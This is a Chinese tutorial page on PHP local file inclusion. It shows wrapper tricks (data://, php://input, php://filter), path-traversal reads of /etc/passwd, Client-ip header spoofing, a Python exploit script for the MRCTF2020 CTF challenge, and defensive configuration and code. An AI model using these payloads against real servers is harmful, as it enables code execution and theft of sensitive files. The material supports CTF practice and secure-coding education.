当前位置: 首页 > news >正文

PHP 5.x/7.x 本地文件包含实战:3种伪协议绕过与 Client-ip 头伪造

PHP本地文件包含漏洞深度解析:从伪协议利用到SSRF实战

1. 漏洞原理与基础环境搭建

PHP本地文件包含(Local File Inclusion,LFI)漏洞通常出现在使用includerequire等函数时未对用户输入进行严格过滤的场景。当攻击者能够控制文件路径参数时,可以读取服务器上的敏感文件或执行任意代码。

典型漏洞代码示例

<?php $file = $_GET['file']; include($file); ?>

要搭建测试环境,可以使用以下Docker配置:

docker run -d -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache

基础利用方式对比表

利用方式示例Payload适用条件
目录遍历?file=../../etc/passwd无路径限制
空字节截断?file=../../etc/passwd%00PHP<5.3.4
日志注入?file=/var/log/apache2/access.log需可读日志文件

2. PHP伪协议深度利用

2.1 data://协议实战

data://协议允许直接在URL中嵌入数据,是绕过文件上传限制的利器:

# 基础用法 ?file=data://text/plain,<?php phpinfo();?> # 带Base64编码 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

实际CTF案例: 在BUUCTF的[MRCTF2020]套娃题目中,需要通过data://协议满足特定内容检测:

/secrettw.php?2333=data:text/plain,todat is a happy day

2.2 php://input流控制

php://input可以读取原始POST数据,配合文件包含可实现代码执行:

curl -X POST "http://target.com/?file=php://input" -d "<?php system('id');?>"

关键限制与绕过

  • 需要allow_url_include=On
  • allow_url_fopen=Off时可能失效
  • 可通过.htaccess修改配置(需目录可写)

2.3 php://filter的高级应用

filter协议最常用于文件读取,特别是获取源码:

# 读取PHP文件源码 ?file=php://filter/read=convert.base64-encode/resource=config.php # 多级过滤器链 ?file=php://filter/convert.quoted-printable-encode|convert.base64-decode/resource=flag.php

编码转换技巧

# Base64编码计算工具 import base64 print(base64.b64encode(b'flag.php')) # 输出:ZmxhZy5waHA=

3. SSRF与请求头伪造技术

3.1 Client-ip头伪造实战

当PHP应用使用非标准方式获取客户端IP时,可能被请求头伪造绕过:

// 不安全的IP获取方式 function getIp() { return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['REMOTE_ADDR']; }

利用方式

curl -H "Client-ip: 127.0.0.1" http://target.com/vulnerable.php

3.2 完整SSRF利用链构造

结合文件包含与SSRF的典型攻击流程:

  1. 伪造Client-ip头绕过IP限制
  2. 使用data://或php://input提供所需内容
  3. 通过filter协议读取执行结果

自动化利用脚本

import requests target = "http://example.com/vulnerable.php" payload = { '2333': 'data://text/plain,todat is a happy day', 'file': 'ZmpdYSZmXGI=' # flag.php经过特定编码后的值 } headers = {'Client-ip': '127.0.0.1'} response = requests.get(target, params=payload, headers=headers) print(response.text)

4. 防御方案与最佳实践

4.1 安全配置建议

php.ini关键配置

allow_url_fopen = Off allow_url_include = Off open_basedir = /var/www/html

4.2 代码层防护

安全的文件包含实现

$allowed = ['header.php', 'footer.php']; $file = $_GET['file']; if(in_array($file, $allowed)) { include(__DIR__ . '/templates/' . $file); } else { die('Invalid file requested'); }

输入验证函数

function safe_include($path) { $real_base = realpath(__DIR__); $real_path = realpath(__DIR__.'/'.$path); if($real_path === false || strpos($real_path, $real_base) !== 0) { return false; } return include($real_path); }

5. 实战案例深度分析

通过分析MRCTF2020题目,我们发现完整的利用链需要组合多种技术:

  1. 使用换行符绕过正则检测:%0a
  2. 发现隐藏入口点:secrettw.php
  3. 逆向自定义编码函数:
function change($v) { $v = base64_decode($v); $re = ''; for($i=0; $i<strlen($v); $i++) { $re .= chr(ord($v[$i]) + $i*2); } return $re; }
  1. 构造最终Payload:
/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

在真实渗透测试中,这类漏洞往往需要结合服务器配置缺陷和应用程序逻辑错误才能实现完整利用。建议开发者在代码审查时特别注意所有文件操作函数的参数处理,并建立完善的输入验证机制。

http://www.jsqmd.com/news/1146449/

相关文章:

  • 如何快速上手openEuler/sra_test?3分钟完成编译与首次测试的完整指南
  • 经验丰富的加密软件推荐品牌 按场景选型不踩坑全指南
  • 产线时延与丢包治理:TSN确定性网络落地指南
  • Fast-GitHub:国内开发者必备的GitHub下载加速解决方案
  • PIC18F65K40与PAM8904音频驱动方案设计与优化
  • 京东抢购自动化脚本完整指南:如何通过Python脚本提升抢购成功率
  • QQ 官方机器人 Webhook 接入实战:Nginx 反向代理 + SSL 证书 2 小时上线
  • 【RT-DETR涨点改进】10 从“结构”到“数据”:为RT-DETR量身定制的“温和”数据增强方案
  • LinkSwift:九大网盘直链下载助手终极指南,告别下载限速烦恼
  • 图片裁剪引发的数据泄露
  • 步进电机为何不标功率?从工作原理到选型实践详解
  • 嵌入式开发笔记:伺服电机四大控制模式深度剖析——从原理到调试实战
  • 暗黑破坏神3自动化助手D3KeyHelper:5分钟掌握图形化按键宏配置
  • 步进电机控制入门:从硬件接线到代码调试完整指南
  • 企业大模型多供应商路由——服务降级与灰度切换实战
  • 3 款主流 NLP 工具对比:NLTK vs spaCy vs HanLP,中文处理谁更强?
  • 口碑好的广州天河湛江鸡商家哪家专业
  • Android 15 签名权限许可名单实战:为 3 类非系统应用配置 platform 权限
  • 企业级自动化部署架构设计:实现95%成功率的Apple USB网络共享驱动系统集成解决方案
  • AI时代岗位大变革:小白程序员如何抓住机遇,实现年薪百万?(内含转型指南)
  • 3分钟上手Translumo:Windows平台终极实时屏幕翻译工具完整指南
  • 如何让微信聊天记录成为你的数字记忆档案馆?WeChatMsg免费开源工具完全指南
  • 微服务下单跨服务数据不一致问题分析笔记
  • Free-NTFS-for-Mac完全指南:如何在苹果电脑上彻底解决NTFS硬盘读写难题
  • 【重磅发布】Claude Code v2.1.202 :自定义动态工作流体量、解锁全量 OTel 流水线追溯、大修 SSH 登录换行截断与多 Worktree 恢复卡死!
  • 串口指令播报内容异常完全指南:从退出回复配置到自学习功能冲突
  • 神奇!浏览器里竟然藏着一个免费的SVG绘图神器
  • Claude Code本地安装全指南:Node.js环境配置与VS Code集成
  • 妙招AI亮相2026全球数字经济大会,AI招聘工作台入选国家级典型案例
  • 数字化越深入,CXO越不能各管一段